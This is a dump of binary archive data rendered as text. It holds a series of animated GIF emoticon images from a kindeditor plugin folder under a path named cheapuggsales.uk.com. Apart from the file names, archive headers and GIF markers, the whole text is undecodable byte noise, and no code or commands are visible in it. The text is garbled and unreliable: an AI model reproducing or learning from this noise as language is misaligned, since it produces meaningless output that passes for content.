@TIPŕ<,i&8C8H&p_6t(p!x˓T|! 2, H&7%B |pH! g'~I'VGI M Pa G+w(MvcBW Pn( V@,dҮUC"X#:J9uJ\+D L|pTG㦭"zu@D4(ayAh.H: tfꄞr0s[D9`X cDr rY$[0 &E1N[?~P@Rƒ @E]1cp\HQ8 'e_6cJj@B‡1?M$` `Ċ0pCN1 Dru |HbJwc#e`L[4IwxfUQ\םce CW B9@ x@!/@Be@D&gXA! , H@h CH_ 0qB_!.C8Y #d`i!A'ʕ{@7ѣ9(((@pdH̩S)ቜ9` @JX3"}VL"3h |%\\p!Y4v@l0!K ʹÂ86u 'P|b J~>ƈs΃(PҘR񻒉8ߘ9\EJ9u_!SХHÓ  |@D aD= 48 9$2D{0k'K.mAlX6P*A:':ҥ΄ 1ATA丅)Ug@XP%}c=RZ:@A(1$qpB&pN (p!x &8@ @ki! , H@h CX0t8Nʯ( NRHc -DEM.`QLJj$h܀( ڑġWrtErDMA%У'"(1X0pSBnB`Lx7m.\;]גj4(a9s<ڵ ҕ!o-3߭٣$9HY FUTQC9@iwSqxp"ĿT~pY#8bIFxzDž@ $lRsDF)9 0XFcBn:':RE~AD.6lj-aA􁃋UTCslNaP4J I\C~$lb )?aBaŒ_aa x! , N4F 2 !'0tHYRDvB,EI.`BD& )Oli2_$x!O'(pPg)LBIXoODL2L`d](lP)R(LP "@X3 tql2 lƠ^tg! , N4F 2 !'0tHYRDvB,EI.`BD& )Oli2_$x!O'(pPg)LBIXY/Q"zG@! , N4F 2 !'0tHYRDvB,EI.`BD& )Oli2_$x!O'(pPg)LBIX|ņDW*_ ͑?c+gBec Dɘj91(%ቌ5uT̈́%e/J kP01\NʺQP14"W *.%܄+һ|_ ۓ2٘EUmX-菑ViЁLyX{9^>ڴ?gΠv# ᾘw&ȱTqnP:!! NETSCAPE2.0,q H*!Bz3K!$RDIq4dΤD 0Ӳ"E^|X ',.`A1T0" F~UPNh !Z]bM|!-$qQ1IL &@bTˀBR@1 Q&d@aT8BA b 6HPa'$2$ďËBHqu A JZ$ z4C XB@"@6 }  `@vD~{ q B >\AJ؀AQG" (B.FP FBN a 9%(!CA`N G`hE D4@!,q"@IlibЅ!MpEh1 ` <"G 0Ht1b?KJ\Kݻx݋Dۀ! ,q H5\ $rHAj`2X0O:!lr"^TLbJ<} e"6@*pU> 42R d(AT 8X F]@ &A8`] +^ǐy8\ H`AETppt TE. ߋKN! ,q "@Il 1Ġ +#;R4A"'$ /4y"4E1D#ӤR`@9:)ʘMt`M>0hd8W` Nj,"`•۸ (p4OP@ ZH1ܨ 20a* Kfn 'Ê o X߲C; &aoB\ A@ Ӥ, `IAУ! H`AE*K("J#p3$̀tp7 BK@ +`!D u$,a%iHXBGDC JȐ*<(N G`h0J! ,q H5\ $rHAj`2X0O:!lr"^TLbJ<} e"6@*pU> 42R d(AT 8X F]@ &Ab] +^|ǐy8\9 H`AETppt8 TEͻ7 '! ,q "@Il 1Ġ +#;R4A"'$ /4y"4E1D#ӤR`@9:)ʘMt`M>0hd8W` Nj,"`•۸ (p4P@ HAnTx@@Ć PdA+ƒ[l0†g,&A @; &aoB\ A@ Ӥ, `IAУ! H`AE*K("J#p3$̀tp7 BK@ +`!D u$+,(F#!.N a 9D%(!CA@{8a G! s A&?  42R d(AT 8X F]@ &A8`]~qAY8\9 H`AETppt TEͻ7 >0 ! ,q "@Il 1Ġ +#;R4A"'$ /4y"4E1D#ӤR`@9:)ʘMt`M>0hd8W` Nj,"`•۸ (p4P@ HAnTx@@Ć PdA+ƒ[l0†g,&7HB@0ȼy7!.DS BXi$ $@%Ff@p `GP1 ! a+p(aEE( (pa%iHXBGDC JȐG-N G`h0J!,)q HO&$BDtyE\( qƏ !, 6q H &4 B (xQ"ńV\OIH(S\€!,  )+HA\,*\Ȱa }@phB!`ȱǏ q( !, 5q HO&$ BDtyE\3( qCC ɓ(SQ"a@!,  -q  <`!(B\]\<"C LȀ!, H .*A"8TK@!, 1q HO&$BDtyE lȱc\9:Iɑ%!, 8q H 4 &|`DV\XO9H(S\ G! ,8q H*\ȰÇ#JHŃ,.RQ/KǓ(SQBK;cheapuggsales.uk.com/admin_frad/kindeditor/plugins/emoticons/14.gif0000777000000000000000000000764611633550314024423 0ustar rootrootGIF89a4N?+Q%]#_B=t4mK1f{4`趂GWӾtĹ\ H ߟ$ 0BԌڤCd s+ ZS| ]Fngݜ޲xl&{2سlԟY{ͅC̋"}ǒJܜ] |$́⿌m)ޮohŞm.kS~ݢ%W 7ǂݪ4gˉҖ39ȯeڎ ް6<* aW{nY2̍+٪tQ :ٶnrȧ:ǔPϮȐ>Ň7CX>ʛx1uä|4Џ!OḆz%ۗ ő@7*Oɖh,kb۫/ܶ[ݡLGcSÎe٭]֔⁴x?ؕp'gW0h _լׁhӸnaǷʲu޴p,xKYߗą(! ! NETSCAPE2.0, H(hD$biHjsX Bd3Px(&X Z4p#Z ``MςQtС0Xu)a&|@ bA Y1e'd 4I, 0@)jA_%1PO 1 P0&@JV}jUU,hì]%C@ 4`A 8tЁC B:rP P j@+Ga H DĀU*CR!<AQhZ,0`hx6D@$i`lgI8]pY$BPB 1.0H g$ GB-@@up#D@!dx! , H́FQf|@dAf,xơ^P I L,)'Xr `xPBJ x-ڀC84H6+PS)hUU=zCLm@ :eV[0`* LvTÔ*`Ԁ1!Tj*\X[` $1`hӪ$I`T rx#.HB*TTR]\Ip$84cJB$!IM1H5^(cjQܰ|e~P`CP@",  dhz \0 7) 'PEx % $ 1pFx$A $Pi$AB:L@!d! , (Aa 6:D5 6"Dśh@(,0 ТEz @UG3 01e/ D(<:0fjq'Ф2fx'M|Pe` R9PGH(>L̊`Un*Y]21i $H=Bf*!%Xfd  ġ]VWȫBE,@* UWv ) *`@P xU&1P4M*`#TFM,Q <R]@  ``1lI8 d@ !bE %ĀpB Μ !@;lFԑAA ! , H́FQf|@dAf,xơ^P I LqF(? ``ˁTPa䉏/?*!(9X% Y12HUƌ*9|T@jq [yS e@>Z` *BP$Jqz /gLPzЩP0@ k$!BRFhi 0 `@*"Q#4l`x`܀ ԃNJ0!%I`pt x " 9cxPB_sVJ#A,l pҀ nDHR$"QlaR0t  P.K u/t h} \0 48Б'PEx5,!  H pFx4Pl A DP@F$B8!e@! ,W H*\ȰÇ#JHŋqq D@C&0 X21#$<|8)'Hԑ֐&*! , H́FQf|@dAf,xơ^d LqF(? ``ˁTPa䉏/?*!(`&a !J"4@gO80fjOȸS#V3jx!M|`Ɓ*n9@צO%!BRFli ` P0& .Hh,2xLPzЩP2n+{*SX%-=mڎ ޯ?:&%`}O$8sQ N 2%.,>ds*&}Lޙ~*; ]#ILU]̋BP\;i P--M{Sݜͬ[KՎҖ3رk_ˉ3gK0&SwRR$Š>X)ؕ̋"`$Tῌ-߸oY٘!&Şmfؙ|e!/Eǂȑ.7IgȯȐ>ްf/ ݬm%p,Ÿ{2+ݜ?M] s+oQɩFѮv0g 9É-($#̘>1&&)Q8|> 9ݛL_! NETSCAPE2.0!, H*\0)1V(9CpI@X̆ lVE[(I 0F!NLK40u(4d2IN<)PF$x; ! , 80 !\Ͽ=a@?6 vB0H p~ I%byt@;2^6ԘP"Ѓ#d8@+7 .H B[=lށQ;Q2/BKzgA<xPAA 쯳g(|[o _ɵs 72 9! , (oΈ"dM=8p *B(:c'B !N̎K40u(@d2INL)P$xF1 ! , O *G`2G%?# `6pUnp1rA@[YC0ϟ:JS2;{2!ؤ5&zh`FȢq+I7E1 @0'@=wSnь(XO ~)= @Fy< C>MZt ?;g CV[_>|$fDr ء31 ! , (pD*\(C@f( B5c'B$M8 BP =Y4N82PڏF 0ϞJLgU=JT:@?|رoC ^@:$@P;/ɟGt+03ϡ@∿D[‹B&Zd DL< '[7! , *\P!{&#a.J1Pj 1Q(@.ر&a=3H;2Yo&m11# )E㄃+VMpp ~.`0@=w\="b'@"֞@aWOBKgA<xPAA GR~w@>pD}I/̀9 D܉cΜŀ! , oο,*\O?p`F8C"PAm]'ΎtS$tA3vdCID\ l`gƟ< ! W*@3R@`gό /&Թ_ dB;6+s$V՟KC-ٙ#w"z2xܸ9S3˛ZO ߼Չ D8Qٖa{%XԺwҖ9jmM迂wٺ[ĊԬt2[ UYĕ]n&eѢhɣ;:ެmbͪHƙxܫR!Mf$V=ʊ 2*׸CbKxWӇִz̨݁6Ђ̶i ێ4\)X֘SU09W+Ӄ>SIՋˀ}Kٷ̀1Nj2$ȅD_0RߧZ̠-;0٤/ja6@JHޱoQ{νk6ЧfqL%3ãdb%şpksl߽2S(ǟ\ݰ_sp"Cȳ@ޘ?1в;ИAԐH=ʦXְаX\/Rqќ! NETSCAPE2.0! 2, H*b v!ET €ǨQO*Hxm ]2$W0xyQؙ!^``Glh WU E%HgA/\ p=q-AOQAoaIB@ xuxnFO`y@' ^<0"!4a`xP2|(0G7€KEhXC;!D D1HcM {L@1E/xÉ*CtC&tlS8ABD f c  I@ lAP3MF0[!2, dQ*0hPC0yH F#jÆ#G-CC+Kv[2)] #a3sɂJ,Cʽɢ#.@')aG6]5Q5`0$D ܬ=`(4(1D.TT"3 dLMl҄!(IdHR;1(xxF<0F;ftC@!E$ *WҐ Q@! , H="R RP` BbA\3@X "I요*[60H[ ΁V%Ly!U"%26S`txbΒ#g@B$`\XJZ:1BQ>`:('D??%aDY @V8a{6(y5B'NdjAxz;Z]Á?)C-y>br8] 0*A@WB kt#,R[:gD b-I`)#+CA)l&>%a7?Ą`'2F}Q&$a# WP O 6؀ OR + 6P:` MDC@sUL(*M @XB|RB Ji6H#W\o|΢RP!%D(dJP)D!2, H*b v!ET ǨQO*аh \UAT3pJ";H9 K^VTӑnYIŀ! ,P bÁC]UDG ZHaÁ+YR,I@ː`pPI4m8b@! , L d\"!03Uy(0տn#P#ŏ )Z I/q\2@|l z M! ,H bÁCE"]Uŏ Ct$I+Hd"8㦙% |)&€! , = dA\"!0A& r`Uȱ?C9ɓVz1 ;cheapuggsales.uk.com/admin_frad/kindeditor/plugins/emoticons/54.gif0000777000000000000000000000447211633550314024421 0ustar rootrootGIF89aQ>2_BJi q r23A-NWfQ :Ѕi0&~D m }ɩK٘!g`m%|h~J!ŸE3)G X质] 3s+{2ݜRˉڎ *Җ3R_D[-ްǂY 4eІDۗ|O˄x<իO8#q7׷k6*Q(׋g!! ! NETSCAPE2.0,q H*М:zѡDEep0`P@IZ0Z@R ’A8p 8(p`:~[P"zx!SQ"$b"ZNbqpc ]ԲA/`#Bt8/ b;3$S4@?>p)E3 .$cE:_ha` D[!H<0s@]9 l"&N 5 Džlę2Ā90ʦ ?LJ))@|aAH d! A^!`4`!!P h# @ aX@ I5AO8qP @pfGjDVBЂEF l14F! ,q #ҡ9udICA8$i"D pAH,,# @ 0PG l؂Mᅌ@ @Ƌ"LUa I4Dt!kVB_9`'Bp:cWk rR1D$p Ċ!qᏏ!P>Ȱbdd U*}#T D)Jn3Mpq  , 00D %H 7 5liKf.k `~t IPr <4<4a`T*4P BGbF{AP 09oxC! ,q H*\ȰÇ` XФv H1B\ $Q&` Z33@( j fQL*K WEX B x`@ 18, A+`bA!`Pp &(:x /"3I A%$ @ v d  hP@tA )89L9۸q! ,q #ҡ9udICA8$i"D pAH,,# @`硎NH )bf- @J #E,7p] Z@+hRR8sF [t8 b IEC"C|Ja <{ ȐaGT .4G@:P+ S\Xf.f0+J!.X``&I$7 5liKK$ E@L+$cME! 0Sƒ! Ѐi` @4ࡇ`p MA @A-8@-@+TD @>BGbF{APA,09o>;cheapuggsales.uk.com/admin_frad/kindeditor/plugins/emoticons/47.gif0000777000000000000000000000714511633550314024423 0ustar rootrootGIF89a)3WN=ZvB-C0%m9O҄Þ1fx_ 4&ښ9 :*ǜI{̈́ _ؚ"UxFH.ӌۥCS n s+.ˉ0ZXƁ|(zhҊ%4`"i ,Fٍ m 3ё(dʩ&5qʁ*rҖ37ȑۤ:8_eݛm%RKXeAճرkjCŞmްPŸd2@44@CUpT:ܰ`Z@! , "U@!:4h"A! $ 9@E dbxy?) P@@ LS|*-qC}0BlTbAPM0| ă@ j0dQp@@8Tc" L;A1cFYP-  h@X& Hp  ``4%W9Kfス1ԶM8'XTey;ƅ A!\1Wy~Uk 4@D1B!rU-C Q-,E ݦ @L1Dx`1 )`L0CTaC E $/`S HQ 1CAJuCqO `X[c6!0 &L@Q`|၀\ #˔$ F4H,&:RRG$`$i(A%l!@pSX*DBp צً DA-Wȩ?b.iQ%obÝHb%^(\+4.PPJ !/"lx0I0 @n @B$ R %b< 8&@լ<  > RTpYC! C4Q5 , TpT! , "U@!:4h"A! $ 9@E $oX( '0YC(@>AJuCqCO `X[cjlB `a0L< $s1z,S$d,"՘ .bB#XpD_ FYP-  hum I8-,@׀KlXt   c[W`=@: >JCbܸp!8}xs Ga 0PFT,Ao@ V5 1F%% $@"0 rK # ld@J Q -d`@4$P/`T HQ 1Cd2@44@CU:ܰBYA5! , "U@!:4h"A$ 9@E sxD AbPgT>Pc@0`@ D03OX@`,0y h%PB@9 1 L0`( j 8q$00v|0՘(I^0^MPiV# ,d_mPXca`U0P ``50ۃz  Dʡl"ZGN$\I1*ɑD^|0 ]T` ` TXa @/@H!6􀟆lC!dP1 E $*f[KBMKm_jX|9GXLhP}CALQkGL_0d3{4wRp0;B C Pd*Aȫi#MȪA iVe7F:`-F`ť<H PZs-jX?KG>|=i_'~<_*eD`Bu0r=~BVxBʱ>jReRAJknC|G[Pp5ƦUd){ƴSrf2ƧCd/LåXz8Y(KRWM di-Lcx.Kc и!, H*\ȰÇw\CRmgATʲuڣZ<9i1+^K2Jj2&#%YFsdd ְ'QrL)Vd &p8-ZS*XT*kFbZecT"Y@0*x X,B@`q=m)e&bh j 4HZl8p $ˋb `T an\ySLM Dx dŗ: NCf0P&(?8!4 P@ q<%\pt8I3p@DC22@ ,(+C;cheapuggsales.uk.com/admin_frad/kindeditor/plugins/emoticons/132.gif0000777000000000000000000000165011633550314024471 0ustar rootrootGIF89a#+Tff333fIUUf33LIFJ& f 3!,/H*\ȰÇ A4ĉ+6#D $@EB6hI Ph& 0?ol`fBut˜e@$ !3F qGLj 㒌 ,T VJM4$XNp# ;r!O6M@,hղ dŁ ,g tԡ @ %ƥ4~fFJ'+*@Lʟ1]ht  , 7SۄS @6Yq!_v TE$D BT0 m #=c ̄n1޳}Ԑ'ēО]A ԈܨTe׮~(ώEްȯķɩʂ܂@E3>PPJK3ڎ ۓ] p i.0m%R(kofgt~ptcX[SyUbb`ܶa$#) ßF ppۙ05ڔ+X̃+p,י=uM{2Ђ}-v҆"ܑ5 7O>_?MWEP F0'єAA۬jf A@s֪u9Ȥ}y΍8! ! NETSCAPE2.0, H*\0)|d C'P!$Fa(2e p )`7@`"6la [\f9  !@& `(!T٩ mS 1%U&Qsm=Q NFu L@|wB`XP?IqGO$(xX@P4Y50L@56Qd'LD (@+xG@/%ԡ@3 @AL  X6  # a(1|`u2 EAYpd)l41Cdcgv|Є!=(8A' Df<! , >2 zԡcB , HT鍶/0(! @ X&@ ИEa@9ƒi (E`"6la [\(h〄Q(`td+^pH[Z2BBn, ]ӴiSHqm52p%d(vI[5kH euҧ$IRDoE2a@p\aIJQrzFrR* XPʉt Tc%M6_LD (@+DTD4-uh "(E!$`DP OJ08x(W`1!d-`%Pm̕1AFbFs0DV(P& aM҃"aDIs dD! , H@ 0РB6P`E9H#cG:H0 PH`a@Jo,F  8f (Kl` 60-.`LHBFIGƧO1fp ز+$y!Wl6-HE-W,$$ "= 'J\ɈeX 3YHt,:0`$^1-6ʃT|$Q G<Ɗ"0ʍ 8.հDF3V2 !FrR  6@,M2P]R&hbR 8!J80 h(J@/%ԡ@3 Z2@ TP@0gP!U( R0DX' kL@T6)=\b@eDKE ca X Q 1 CAj' }F&@!8`!4iP@! , >2 zԡcB , HTVZzFRX Wh̢@@ qc E`"6la [\$'ТP2V;6“): yܾp5]9SHqbg Wp2bfkL8e1y@"Gl`]$I)3[`Lh@lXRc\kwDBG,DE a&@8!J& h(0KODP4-uh "(E!$`b0Ag )ГRL0Mg TK'1!d-`%Pmh4@\0 hH aY,x`v|Є!=(8ID|F& IudD! , H6T|B r`P#ND C*sG A:t T 1B Xm>F  (= 6:h h]KĺjD0l  <W WP2];邈̭ y^dV0];HL "D m4o>Q NF^u`6pyB`t  ȑzD <@ /*`@atH P Z 0aLD (@+DЖG8 RB4iQ $PAD C)`bhL0–4)A $[m@k:@ Xp!Ey1Aƛ*Fs0DAV(& aM҃"a@g!8`!iP@! , >2 zԡcB , HTMć9h d }0(PpG",XP=`Xe `ذAxlq^A$N(`t) HܪNצ'28)Lצ vDo(؀&@ nߞ(q'#fFyiXL_!i<бV\$ID[LD@lXRفIwD:ʣT!arZ)7t Tc%M6j`2I6pOQA,IM@XR hQ d(@`gt)L0ŠvH@ tn0!-`%Pm d\0 4)l2C@d CAj'}F& IjPcD! , H6T|B r`P#ND C*sG A:t T 1BXm>F  (= 6:h h]KĺjD0l ԅ <W WP2];邈̭ y^dV0];HL "ĉ m4o>Q NFu`6!1y@"YXx8`Eyt<0&HpTT$ɄWuDx|q%b5\24"G w (P3(PE 5lB&6h%P0N@   )l&l@ p!Ey1Aƛ*`Fs0DAV(& aM҃"a@g!8p!iP@! , >2 zԡcB , HTVZzFR WLXO{EH+d؁ D\@q0q@"(`t$+ `m` y^$ʡc2,6+$`QJ)A%dL(v00GkL Z"O?H%HH E2a@p\aIJQrFrRB XPʉt Tc%M6_LD (@+Dx5D4-uh 3 E!$`DP H p#X@dJ @|2N4=\b@eXfE cр  x& aM҃"aDnd` ! , H6T|B r`P#ND C*sG A:t T 1BXm>F  (= 6:h hKĺjD0l  <W WP2];邈̭ y^dV0];HL "D m4o>Q NF^u`6pyB`t  ȑzD <@ /*`@atH P [M8!J80 h(%QՠH@P BhZ2@7AL 8`%#d)J @f B @JAY pd4p X Q CAj'}F&Y`ic! , >2 zԡcB , HTVZzFR WLRX O{EH+d؁ DBq0q@"(`t$+ `m` y^$ʡc2,6+$`QJ)A%dL(v00GkL Z"O?H%HH E2a@p\aIJQrFrR* XPʉt Tc%M6_LD (@+DxJH@*R0Z2@$ ALp (@ 0&F 1|`UL@,ya Xp!2 zԡcB , HTMć9h d }0(PpG"),P=`Xe `ذA)xlq6!;dґv0ET;`ꔁ fh+)$X Fd \'J\Ɉ ،䕶3XHt,偅V>4ʃT|$Q GJe(AB`LP@lXRcT'\V wDBʣT⥢a&6'0I BJ80 h('7 @K4fiQ t(@`gOeL0‹F  bL@,D-`%Pml6@\0 DMaY@k04aH|xnd`BqulcD!, >2 zԡcB , HTVZzFR WLRX O{EH+d؁ DBq0q@"(`t$+ `m` y^$ʡc2,6+$`QJ)A%dL(v00GkL Z"O?H%HH E2a@p\aIJQrFrR* XPʉt Tc%M6@| 0-O,*ad  @K4LhQ X@0g )RL0X tW0! ECY1pd4!)l2C@d CAj'i@6vdD! ,0 H*\ȰÇ@d`ŋ3jȱG>ɐɓ! , >2 zԡcB , HTMć9h d }0(PpG",XP=`Xe `ذAxlq6!;dґv0ET;`ꔁ fVkS;HL " DtOB3ME+m? ]#4X$ .ri$IP"0ց 8.ذ$ƨ.OP#9)軉tG,KE t Tc%M6lO0`(@+DT,&a @K4fiQ t(@0g Oܕb a(1|`@)2࣏N4=\b@egdE c@  CAj'}F&WWf8F;cheapuggsales.uk.com/admin_frad/kindeditor/plugins/emoticons/82.gif0000777000000000000000000000301311633550314024410 0ustar rootrootGIF89amЇ&qՊ҃ZbsVAّ֔>},UVʊuJٖ{ٖ3ֈrԃUNى)ެ֊͑χ،2{wDvf`Nߥܛڥϕ\ۙ՟ٓӛ֢љ֑3ϣkb6ߓ:S]j_dbӀglԁ[vYң~y}toЖX֏&ԁrWkݟYĎܗB،ј{ҚoŎgtϒҙq_TLj΃jJḤՊ&ߣ݊*ΔԎҋ4eה3ɌapҒ}אۛG^wяLyfmߏ8΄eآ֞\Ђ֠ϕb։E߈#ݪh]v߳}i~g͂!kт(׌rnxHԟhLv ~89Wؐ'ϋަ]ʣ=և̥ԉ"mTΘSn ،VƄ؋/̑|pvԌ^׏ӎ3׉1ԍ4Պp~ij{PۣXۣ\:̓pw}^YУSћ՞Ɂ3͈3Љy~aӗ[֏-БJՔLGlbGz33֕! NETSCAPE2.0! , H$IҤBIHA#XX N :Y%$G)tj3M1(pwf^1eΕc|e`jnoIvK. #*) //5Ǧ0tbY\X@ydbo04 S!Q8B" x/^H2(zAH}0!H"hA`~iG#F 6F9{cg c3U6 9$߆ (i+9D >)fhE2D|3 ]L-&%r  +@%1GEDdcMrB <0!3׍!, H5IG 4!h#I@'U8Oʍ5 R I D00M4$w"(!}\?,!pJ8SVțEh?* ,TBJ$AT.<ίQX)w` _#q"d|.4,:i͞1*2R"E1QjR+ !X;!O (WJ%P! &L<┥ A mQ2oh]=#n0 Fd!$Hbf;cheapuggsales.uk.com/admin_frad/kindeditor/plugins/emoticons/41.gif0000777000000000000000000000645011633550314024413 0ustar rootrootGIF89aB%!h́c mCj 9BVԫ3x͌Hu=:W]|= P *ܛ ҇<ˈm#.>1q z 03Hf܍G4ۏ bẁ t }5t>ޱ,N̆>_*^X4̄Sǂ0.tǂm r&3ܙi {s0v#+*ӱZD]#JIL5EM--S[Mxi }9ՇЯ߷o63JK=.٣Bݯ3QX3Ÿі3QÌʒF7Mё$ݜ"KˬذjGY_)%ʱƟng9DǏ@Ε@t.ؒ="'!ٙ30C.ߑ ̷[˵0MG?L_I,g*q ?&w\vj iuk3щm%Su#N ~.r 1V шiBàRԂ H4ީ$4νو f! NETSCAPE2.0!2, H;re VGPBXp$^"Pr1M(Q `gb*# `K&lc1pOS"ܱA /&v<CA %8]@`'PD.LҋHB\qE?.@+Ǡ)0Ep郄 !,x WG. \8* N XI< IP;Cɓ'破d)X@3=8"z _ )+rCƲ~pɬG`> !d,n 8 ]#ƒ=Hh @{a?  ؠA)S?ty0CK"m?/K Ai.&?61ib =!, 8P sÇ#Iŋ>LDp1 6!I? ϛ@@LGſ@$8!vڑC`"±C5Ch ZGh`| fKl}6p?bb&fj@a@!, 8  \P`" Tq0?3 T# 8xA7 УrƂ)=!.;!xiӐKqB#D ±3ЈwP*q@f Q?x mkM̐e!, 8Ç@ćJ \9qYLChF ixypaC$$@^ .b)Nv!X c"B 0@ddKl}kRL &0 !, ɿ *A @0ϋ `1@=c8pfQ2xC48)t H G"Q!/%fP88!vp∍cD -3PuTC uGݐ!G!, WO i*p 1a`Ǐ##8rHxcn@[P7&†A<&_^pt<Q,"x#^S..;!x9G"A,!hGY dUF1g :U;"0ƿ f Q?xMlM̐e(nXa@!, 8 ]Aj88 1RL(ٸ8reŴڸmB/L9a[9rv$቎0bqiQ=0C !CR>B$n8ҿ# 2ba4 $'7F$Bcbb)p&xL 'tܠ@3@rԱE,/ B'Tl@<"Ђ #3XP<`-@DzJ3 h8Ê'K2 p! h,ql E GPPLA|A;cheapuggsales.uk.com/admin_frad/kindeditor/plugins/emoticons/77.gif0000777000000000000000000000217711633550314024426 0ustar rootrootGIF89aolbkֽ!q`hg)\9H$n$jBL-ond.26*`& :+Ҋ΄o~aDm?%tP|-xPRS;q o_y\]?bZN--{̋"-Rȯ٘!È&ݡs+ȑS7LK"$[|] EɩͬݜŞmXRǂK/Š>.]#+Ÿް_Җ3ˉ0DK!&/p,eرk߸oYwgȐ>ؙ븄I{2Km%ῌ){L3/΀fg֤9BUs/A3M ˈ)ƀ"ƀ+ˇ!יq!r(9ѪiIІOo7hngHQ//|PQF:! NETSCAPE2.0!, H*%fϐMJSHBGUN8Z(Āgo!7L@ m?%t07b.4byJWAbQ q |zn <E3eI 3֑ACL SaeoDThY2+H*f- YAn\ VóG45sk@" 0С9+hD 6fa㄀0`*XF q: \:*a @ExPNtxB1/ -1 1@B20 8P33A 4T@H @v5/E4ŤA E4ـ(QGBE !tK!`,<%$.dE2J{AI!, oc'‡:W7 $p0 7a6Θ dK!b?:0gp͉ 9|< LEpA/5#Eq$ oD/@ws"߃T a ^!, (e'pB@nW >81٨T><20ͤ2&f蠡c&Ȇ; 4|)+YAnܿ ³g(@uVxm mhM"O޿z㠵(VXa@!, (t_gj#f5CNxfaĿؔ0AЀ5D&" X@ay\D0 ܻ `R[/AA ? tAtm!NdSM@ La;cheapuggsales.uk.com/admin_frad/kindeditor/plugins/emoticons/112.gif0000777000000000000000000000212711633550314024467 0ustar rootrootGIF89a\֥ccc!999({080)))֔(10ssεRRRޥZ!sss޵BZ!֥8jQͼ֥ΥsQ0Z֭֭ތJs)00sQZ)8ތc8@֌kZ!֔IռkB)080Z(! NETSCAPE2.0!2\,H*\Ȑ8<^_ѻxvw12+%)äwb,,-).FG  XWSaspAǣ S괂<57s/4+/c߯YWYPP???1-3!,E H*\p5`XPBΜFqSP#vhRp$D\ *  EC UP #y8PRJɒN  Bʛ?9ԡA۰c$0 /a8AMa B H =2ɀ1B  %`|@B<(,1 | к  -P:r!,I#d WDA'S @pǔ<|$#B~d߰ʖ䔑=ɧ( ͇Q>(;cheapuggsales.uk.com/admin_frad/kindeditor/plugins/emoticons/11.gif0000777000000000000000000001754111633550314024413 0ustar rootrootGIF89ag^FEUګQN jDt̝nt:مזv̩{lUϋ2r̃dYU΅L姄<8 ysX~RDzZP9JӺL@T]^նJ*9Ԧz7VT՚ݛHÅX\Ӯ1W*LۂSf)+} 2^6TJS9' J[lav`Q_Mq#Tɕ"9S!猎[yRuAhJ؊Շ.If=ɉ\x/=YES7%dʿL&p宙6ABᖭ, D܍F)'w(ݔ&CԻ[0ǚRxcu7xnyy7۠,EOv d:s5d2^#εݏQ#amt|""wWG-1! NETSCAPE2.0! , H*<"%]bD0Ŋ" 7[W*à .{dʕ 8'pVԼ_/!pҀ|"=ɴ ЦMeFJժ (hY2$qlS9! ,{G@k䰮uER[gPBK8 qAZ VJBPZJ JxԼ5ЂF5!ʰOtիDgR0UIM?:! , H ,g5 .,SElbAq1?Y(@c8(1)XNDcL oҁPV)B+"Ɂ(#%<+V!*zY ,b $ s(QFa&LAP[?K ?cNGaUA1U|a&EC%08V?dG 0C"\3AAٴ@i?-+O/% D!D17esCAɨE /JX! , "A<,?8;"%]ba'ȴ( 'LK.!:j , O^vdH ;1- $I. &6! pE ` $?L`5T:-r $f| 6 Hr5|qM.u ?pĉA\:|s92AHAr'a;d$c8RHB 4$@4 w|+l2H LH#eD2`;!=1 r)I6xL4S,T0,Dd68ν { JO@! , Hi3 ܢ  3P \Gm|a3M0C\W ? yITNDYM>v&_ &D#H hLcBHpHA" ł 40P^#GB8 _ЀlyiP6m6yD^(salJM) z9Dͪ>O9 LG !|abTРIH ʙ x}aׁ+TϷd|”Y 0 娱 +7n D4D3tHSMM- $I.0 a4E.:n8-B.  PL4a2@W|<҄@d& 0TQqB|1 P" +XD!9` @)̜ # $cB` Z$P%(A$x`M!=1HIC 5`0 rLpRi|ܱ |&\O&$A=`;^  P@! , ypXiۖ(X.ƣ6#<ȒG"3Z*Mbġ #5pdʌ?45)ENDYC$\v&hZE x BCA$@LJ/!|5G=8ܔXAW82eE e.-kujY&щ"Ep5vDLuXbE$hK_.X!)%$Yw >N9L1 T!_"^q 1*hd35޼)xlY | Ĕ@HP ĚX`SL3SM|qJ?L@v@01BK;4p&M@a$@WE.xXpM-Рz8 ssoc^P@3D7G'|afLW&i!C;J*1A!  eD] c(QH2(x9@5}, $c R@R %(+]h"S`M!=1 B 5` 3@8@G|ryb`AdaT(у BC4S+#P@! , G!^".@8h!@ؠAxfYH$8.˖US"qh눇l 40&M lJ(Q,% 5XHɋBPC $Km1:h옄"D^M9Aф$U<:#B6*b@/7ݴ:94@=H9Ä '`@#IH`Ja(PXqD$NMhK=D0J<[La@ +A5 2:f(4Gdɼc_H$ 0QPРJ,-\F$J()F"SLr2. @"|c4X 3%DH"=PG(Ѓ?S0  t$'|r"?$h;  I D=;J@! ,{8e!\?0|%K"@4-cG]H%ѥ %$; Nx9s#.t@~:vq[.;F7uI:zwEEt6-@'l%S?h9?="^*oKx\KHD71TxT2&,0LˀvbEheH*F̿UК\rJKM+yQQJCл1&Y1h$}@s)SA .'H|2 "[C+y (rU4|H;JL`B"F1(16x @@"FA  Ta.G %APCM(؜ $7D*`|-ℂ9PA(`? Йir-H, ;d=@?i\|0 L-TIs LPdK L",cGDU;t$?v4Ct24!;l!k! SO@! ,LȖS4i2&.EC}lď#H/@쟦#mD0>qz 3SbtF%w*0ݿ^Gz)0>2?6Xƕ$I׿4]B!9>>4" @Lp !Bƙldk-*#ɐ C *0L$f@x_ JI1柡 vCDF+")a $/4"lY(`;%dV#@%PJ!*\B !^p *0;|pH ȡD32TP ``b2AFT$^ȁ2@,!r2 !2 ET2I(; @ERB$>TBrL Hc4G1>DCe-Xc#5)xe"0$W7y `7D]t;cheapuggsales.uk.com/admin_frad/kindeditor/plugins/emoticons/75.gif0000777000000000000000000000230611633550314024416 0ustar rootrootGIF89aMeCNbQDRYPGTgWEh٫=GERHwi\UDfIT]^IK_>V[~QdDf+|F3hiъJfҀCfP`pcll]q%dIXLQ1j?cτW$w$}Įi{uKED!aQn3pRbK0ؐ}_YU[ř]zRO?L<кgOhMKrs3~XNDҊv L5ZF6fDL_RWh]N Ih~`Odc$naJu[WAfV!ZRlY3uŷ[kGSXedjHUAPMHNVg M*{ׇ`'ixdfZff-hFhu\3B e0f8zB'c]gGW-cf{~T[ q4Y aB3|Z KB;!, H*L% E0VPXpԖ8@ƃ:L@hHCW ukN$R,Iqk0 PI;+#8E ͹I ļ{7چlӠ 'X}Xc@@eJK닣&.5ݔia`ۣNrl[)3UE(B(%C\8֘X(%P( 0#f$j7!3;x5Τ @D.YtL;2 >̃|0jDZMؑ@U31-I/Y7ux=;d@+Y^7};q 